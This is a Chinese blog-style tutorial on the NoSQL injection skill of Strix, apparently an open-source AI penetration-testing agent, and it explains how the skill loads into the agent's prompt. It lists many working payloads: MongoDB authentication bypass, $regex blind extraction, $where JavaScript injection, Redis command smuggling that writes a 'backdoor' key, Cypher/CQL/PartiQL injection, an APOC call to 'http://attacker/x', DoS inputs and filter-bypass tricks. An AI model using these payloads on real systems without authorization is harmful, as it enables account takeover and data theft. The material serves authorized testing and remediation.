ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Strix NoSQL 注入检测技能深度解析:从 MongoDB 操作符注入到多数据库盲注实战

2026/9/8 23:28:28 拓冰建站 浏览量
Strix NoSQL 注入检测技能深度解析:从 MongoDB 操作符注入到多数据库盲注实战 Strix NoSQL 注入检测技能深度解析从 MongoDB 操作符注入到多数据库盲注实战【免费下载链接】strixOpen-source AI penetration testing tool to find and fix your app’s vulnerabilities.项目地址: https://gitcode.com/GitHub_Trending/strix/strixNoSQL 注入测试是 Strix 开放安全技能体系中覆盖最广的注入类主题之一。本文以仓库内置技能 strix/skills/vulnerabilities/nosql_injection.md 为骨架结合 strix/skills/init.py 的技能加载机制与 strix/skills/analysis/counterevidence.md 的取证纪律系统讲解 MongoDB 操作符注入、认证绕过、$regex盲注、$where服务端 JavaScript 注入、Redis/DynamoDB/Cassandra/CouchDB/Neo4j 各自独立注入面以及 GraphQL 变量注入链路。读完本文你将掌握一套可直接落地的 NoSQL 注入测试方法论、可复制的攻击载荷库以及如何在 Strix 沙箱中做最小化验证并规避误报。一、这份技能在 Strix 中如何生效Strix 的技能Skill是带 YAML frontmatter 的 Markdown 知识包nosql-injection就是其中之一。其 frontmatter 声明了name: nosql-injection与一段供调度器检索的description覆盖 MongoDB 操作符注入、认证绕过、盲注提取、GraphQL 变量注入及 Redis/DynamoDB/Elasticsearch/Neo4j 攻击面。技能的注入方式在 docs/advanced/skills.mdx 中有明确说明Strix 为一个具体任务派生子 Agent 时会按上下文挑选最多 5 个相关技能create_agent( taskTest authentication mechanisms, skills[authentication_jwt, business_logic] )技能正文会被解析并拼入 Agent 的系统提示。底层解析逻辑位于 strix/skills/init.py_parse_skill_content通过正则_FRONTMATTER_PATTERN剥离 YAML frontmatter只保留 Markdown 正文validate_requested_skills限制单 Agent 技能数并校验技能名存在性load_skills从strix/skills/category/name.md逐技能读取正文见 strix/skills/init.py。除预加载外Agent 还可以在会话中途通过 strix/tools/load_skill/tool.py 暴露的load_skill工具临时拉取技能正文作为参考。因此阅读本文时你应当理解文档里的每一条载荷与每一步方法学最终都会被当作专家注入来指导 Strix Agent 对真实目标发起测试。技能文件本体可按分类树检索strix/skills/vulnerabilities/目录下与 NoSQL 相关的配套技能还包括sql_injection、authentication_jwt、prototype_pollution、mass_assignment等分类说明见 strix/skills/README.md。二、理解攻击本质操作符注入与结构注入NoSQL 注入利用的是应用把用户输入交给数据库查询执行时产生的语义错位数据库引擎对查询条件的解释方式与应用预期不一致。与 SQL 注入靠语法破坏不同NoSQL 注入最常见的是两种形态操作符注入Operator Injection输入直接命中 MongoDB 的$gt、$ne、$regex、$where等查询操作符结构注入Structure Injection输入本身是 JSON 子文档被整体嵌入查询对象后改变查询语义。这也决定了攻击面分布MongoDB 是绝对主战场但 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各有其独特的注入面。此外GraphQL resolver 把变量原样透传给底层 NoSQL filter是跨切面的高频脆弱点。这份认知是后续所有测试动作的前提——先判断输入最终流向什么查询结构再选择对应的载荷家族。三、攻击面与高价值目标定位3.1 会到达查询过滤器的输入形态JSON body 参数被解析后直接构造为查询对象最常见表单字段的花括号下标记法field[$ne]会被 Expressbody-parser、PHP 等中间件强转成操作符对象{field: {$ne: ...}}URL 编码 JSON藏在 query string、Header、Cookie 中GraphQL 变量被 resolver 直接透传给底层 NoSQL filter。3.2 使注入成为可能的代码模式技能明确列出了四类高风险写法这也是白盒审计时的找漏洞清单将用户输入构造出的原始 filter dict/对象直接交给find/findOne/aggregate用字符串拼接拼出 Cypher / CQL / Redis 命令而不是使用驱动提供的参数化形式ODM 直通passthroughMongoose{strict: false}、Morphia 原始where()、PyMongo 以未净化的 JSON dict 调用find()注意legacyeval()直接致命服务端 JavaScript 面MongoDB 的$where、$function、$accumulator以及 CouchDB_design视图。3.3 范围内的存储引擎主目标 MongoDB此外覆盖 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j。技能同时提示Couchbase / DocumentDB / HBase / ScyllaDB / Memcached 遵循同一套操作符注入或命令走私模型——尤其是 DocumentDB它原样接受 MongoDB 载荷。3.4 高价值目标端点登录与认证端点username/password 字段搜索与过滤 API商品目录、用户搜索、后台查询密码重置、token 查询流程按 role、plan、privilege 字段过滤的管理查询接受原始 JSON 对象作为查询参数的端点。四、侦察阶段确认后端、输入形态与操作符是否透传4.1 Content-Type 与输入形态判定找到接受application/json的端点——它们可以直接接收操作符对象找到接受application/x-www-form-urlencoded的端点——username[$ne]x在许多框架Expressbody-parser、PHP中会被映射为{username: {$ne: x}}判断后端使用的技术栈Mongoose、原生 MongoDB 驱动还是 REST ODM 封装层。4.2 错误指纹用畸形输入探测后端观察错误信息中暴露的堆栈与库名{username: {$gt: }}username[$gt]关注三类特征串MongoError、CastError、ValidationError。堆栈中泄露的 collection 名、字段名、驱动版本都是后续构造载荷的情报。4.3 操作符探测判断操作符是否真正透传到数据库而非被框架拦截{username: {$gt: }, password: {$gt: }}若登录成功或响应与正常请求存在可观察差异则确认存在操作符注入——这是后续一切 MongoDB 载荷的准入证。五、MongoDB 核心漏洞矩阵5.1 经典认证绕过针对形如db.users.findOne({username: input.username, password: input.password})的登录查询JSON body 注入——匹配第一个 username 与 password 均非 null 的文档通常是首位用户或管理员{username: {$ne: null}, password: {$ne: null}}表单 body花括号记法username[$ne]invalidpassword[$ne]invalid变体——分别利用$gt、$regex、$in扩大匹配范围{username: admin, password: {$gt: }} {username: {$regex: .*}, password: {$gt: }} {username: {$in: [admin, administrator, root]}, password: {$gt: }}5.2$regex盲注提取当查询结果不直接回显、但存在可观察信号布尔响应、跳转、时间差时可用$regex逐字符提取任意字符串字段{username: admin, password: {$regex: ^a}} {username: admin, password: {$regex: ^b}} ...关键优化是二分搜索字符空间配合排序后的候选字符集每字符仅需约 7 次请求对比线性逐字符的 94 次见文档 Pro Tips 第 6 条。该方法对任何字符串字段通用——token、重置码、API Key 都适用不必局限于密码字段。5.3$whereJavaScript 注入MongoDB 7.0 默认禁用$where4.4–6.x 虽已将其标记废弃但javascriptEnabled默认仍为true因此未显式加固的目标依然可利用。载荷分两类{$where: function(){return this.role admin}} // 直接过滤——返回匹配文档 {$where: function(){return this.username admin sleep(2000)}} // 仅作时间盲注信号第二类载荷要特别注意sleep()返回undefinedfalsy因此不会返回任何文档只能通过响应时延差来做盲注判读。旧版本 MongoDB 中sleep()可用作时间差提取。5.4$function与$accumulatorMongoDB 4.4聚合管线中的服务端 JS。$function必须位于表达式上下文$expr、$project、$addFields等不能作为顶层 filter{$expr: {$function: {body: function(doc){return doc.role admin}, args: [$$ROOT], lang: js}}}它受与$where相同的javascriptEnabled参数约束但可从聚合端点触达。当$where在查询层被拦截过滤而聚合管线仍可被用户影响时它是有效的备用通道。5.5 聚合管线注入$match、$lookup、$project阶段接受与find()相同的操作符载荷。其中用户可控的$lookup.from影响最大它能把查询转向另一个集合例如从orders转向users实现跨租户数据外泄。5.6 SSJS 状态指纹在投入$where/$function载荷前先确认服务端 JS 状态db.adminCommand({getParameter: 1, javascriptEnabled: 1})配合版本判定错误信息或/admin/serverStatus可判断时间盲注是否可行——4.4–6.x 目标javascriptEnabled已废弃但未默认关闭只要未显式加固即可利用。六、非 MongoDB 存储的独立注入面6.1 Redis 命令注入RESP 协议走私当 Redis 命令由字符串拼接而成时redis.execute_command(fSET {user_key} {value})注入换行符\r\n追加额外命令key\r\nSET backdoor attacker_controlled\r\nSET dummy本质是 RESP 多命令走私换行符结束了原命令后续文本被解析为新命令。6.2 Elasticsearch Query String 与 Painless 注入query_string与simple_query_string接受 Lucene 语法。用户输入直接流入时qnormalsearch → 正常结果 q* → 全文档 qrole:admin → 按字段过滤 q_exists_:password_hash → 存在性探测Painless 脚本注入通过_update的script.source发生{script: {source: ctx._source.role params.r, params: {r: admin}}}若source字段由用户控制即可注入任意 Painless。技能 Pro Tips 提示尝试脚本注入前先跑_cat/indices、_mapping与query_string: *的_search摸清索引与字段。6.3 DynamoDB PartiQL 注入PartiQL 注入通过扩展预期查询实现越权读取-- 预期 SELECT * FROM Users WHERE username input -- 注入后 SELECT * FROM Users WHERE username x OR 116.4 Cassandra CQL 注入CQL 语法形似 SQL因此当输入走字符串拼接而非session.prepare()绑定参数时注入模式与 SQL 一致。注意 Cassandra 无内置SLEEP与 OOB 原语检测只能基于布尔/错误差异username: OR 11 ALLOW FILTERING -- username: x OR token(username) token(a) ALLOW FILTERING --第二条利用token(username)做分区范围枚举ALLOW FILTERING用于强制全表扫描。6.5 CouchDB Mango 选择器与视图注入Mango selector_find端点接受与 MongoDB 同构的操作符载荷POST /db/_find { selector: {username: admin, password: {$gt: }} } POST /db/_find { selector: {role: {$regex: ^admin}} }更危险的是_design文档注入若用户输入流入 design doc 的views.name.map字段该 JS 会在 Couch 沙箱中以服务端身份在每次视图查询时执行{views: {x: {map: function(doc){ emit(doc._id, doc) }}}}正式载荷之前还应探测_all_docs?include_docstrue做无范围枚举并检查 admin-party 错误配置_users/_all_docs无认证可达。6.6 Neo4j Cypher 注入与 APOC 滥用当用户输入被拼接进 Cypher 而非通过$param参数化时# 脆弱写法 session.run(fMATCH (u:User {{name: {name}}}) RETURN u) # 注入后name x}) RETURN u UNION MATCH (u:User) RETURN u //注释符//截断尾部的查询骨架UNION扩大返回范围。当apoc.*过程通过dbms.security.procedures.unrestricted放开时可滥用 APOC 实现高影响操作CALL apoc.load.json(http://attacker/x)—— SSRF 与外部数据拉取CALL apoc.cypher.run(..., {})—— 从字符串动态执行查询CALL dbms.security.listUsers()—— 错误配置的 Community Edition 上做用户枚举。七、GraphQL 变量注入链路GraphQL 是技能反复强调的未充分开发入口Pro Tips 第 7 条。典型场景是 resolver 将变量直接透传给底层 NoSQL filterquery Login($input: UserFilter!) { user(filter: $input) { id role } }当$input直达db.users.findOne(input)时提交操作符对象即可绕过认证{input: {username: admin, password: {$ne: }}}测试要点先用 introspection__schema、__type枚举哪些输入类型接受任意对象——这些就是操作符注入候选点。这也是仓库中 strix/skills/protocols/graphql.md 技能所覆盖主题的交叉区域两者常需配合使用。八、服务端 JS 的 DoS 攻击面仅限显式授权范围内使用。技能列出的 DoS 面包括ReDoS{field: {$regex: ^(a)$}}针对长值触发灾难性回溯超大$in数组数千个值迫使无索引字段走线性扫描无限$where循环{$where: while(true){}}需 SSJS 开启且无查询超时重型聚合跨大集合链式$lookup。九、绕过技术库WAF 与过滤器对抗技能把绕过手段归为四类便于在基础载荷被拦截时系统化替换类型强制Type Coercion操作符以数组形式提交{$gt: []}——部分驱动会对数组做强制转换同请求内混用字符串与对象类型触发解析器不同分支。编码EncodingURL 编码括号username%5B%24ne%5Dx→username[$ne]x面向 JSON 解析后端的 WAF 可尝试双重编码。操作符替身Operator Alternatives$nin、$exists: false、$type——$ne被过滤时达成同样效果$not包裹其他操作符{field: {$not: {$eq: value}}}$expr组合$ne{$expr: {$ne: [$password, wrong]}}。结构操纵Structure Manipulation点号键 vs 嵌套对象{a.b: c}与{a: {b: c}}——净化器往往只拦一种形态数组 vs 对象包裹操作符部分解析器把[$or, ...]当作操作符数组处理原型污染JSON body 中的__proto__与constructor.prototype键污染下游查询构建器消费的 Object 原型与 strix/skills/vulnerabilities/prototype_pollution.md 技能主题直接相关$regex大小写不敏感标志$options: i可扩大大小写敏感过滤器遗漏的匹配面。十、测试方法学十步闭环技能给出的方法论可作为自动化 Agent 的决策骨架定位查询接收端点——登录、搜索、过滤、查询回显确定输入格式——JSON body / 表单字段 / URL 参数发送错误探测载荷——畸形操作符对象观察 MongoDB/驱动错误尝试操作符注入——对登录端点打$ne、$gt、$regex确认布尔信号——true/false 谓词导致响应、状态码、跳转出现差异盲注提取——对敏感字段token、重置码逐字符$regex测试$where——识别旧版 MongoDB 后尝试基于sleep()的时间盲注探测聚合端点——向filter/match/sort字段注入操作符测试非 MongoDB 存储——ESquery_string、Redis 命令构造、DynamoDB PartiQL、CouchDB Mango、Neo4j Cypher 拼接、Cassandra CQL测试 GraphQL resolver——对一切到达 NoSQL filter 的输入类型提交操作符对象并用__schemaintrospection 枚举候选。十一、验证标准与误报规避11.1 可上报的验证清单技能要求以下至少一条被满足才构成有效发现演示认证绕过提交操作符载荷确认能以任意/首个账户登录成功通过$regex盲注提取出可验证的秘密密码哈希、重置 token、API Key至少两个不同操作符载荷均生效排除偶然性提供前后对照正常请求返回 401注入请求返回 200对$where展示有无sleep()的时延差。11.2 典型的误报来源框架级查询构建器在构造查询前把输入强制转字符串Mongoosestrict模式开启输入净化在到达驱动前剥除操作符键端点接受 JSON 但把password字段强转字符串——操作符对象变成[object Object]响应差异来自校验错误而非真实操作符执行。这一步与 Strix 的取证纪律技能 strix/skills/analysis/counterevidence.md 高度一致技能要求所有候选闭合为confirmed/ruled_out/open_proof_gap三种状态之一confirmed必须有工作 PoC 才可上报框架一般会转义ORM 会处理这类泛化信任不能作为反证必须确认特定调用点、特定参数与特定路径上的控制是否真的存在。NoSQL 操作符注入测试尤其容易把响应差异来自校验错误误判为漏洞因此遵循该纪律能显著降低误报。十二、影响评估与修复建议影响面技能 Impact 章节认证绕过获得任意或全部账户访问权通过盲注 regex 枚举完整提取敏感字段token、哈希密码、PII直接查询 admin/superuser 记录实现提权借助放大的$ne/$regex/$gt过滤器大规模数据外泄在未打补丁的 MongoDB 实例上通过$where执行服务端 JavaScript。修复方向技能 Summary 章节NoSQL 注入与 SQL 注入同根同源——用户输入控制了查询结构区别仅在于是操作符嵌入而非语法破坏。MongoDB 是首要加固目标启用 schema validation、使用参数化等价物严格模式、类型化 schema绝不要将原始用户输入作为查询对象直接传递。白盒视角下可对照本文 3.2 的四种高风险代码模式逐项排查调用点。十三、仓库内的延伸阅读技能本体strix/skills/vulnerabilities/nosql_injection.md同目录注入家族sql_injection.md、prototype_pollution.md、mass_assignment.md配套认证类authentication_jwt.mdGraphQL 交叉入口strix/skills/protocols/graphql.md技能机制与目录 strix/skills/README.md、docs/advanced/skills.mdx技能加载实现与单测strix/skills/init.py、strix/tools/load_skill/tool.py、tests/test_skill_dir_extension.py发现闭合纪律strix/skills/analysis/counterevidence.md【免费下载链接】strixOpen-source AI penetration testing tool to find and fix your app’s vulnerabilities.项目地址: https://gitcode.com/GitHub_Trending/strix/strix创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考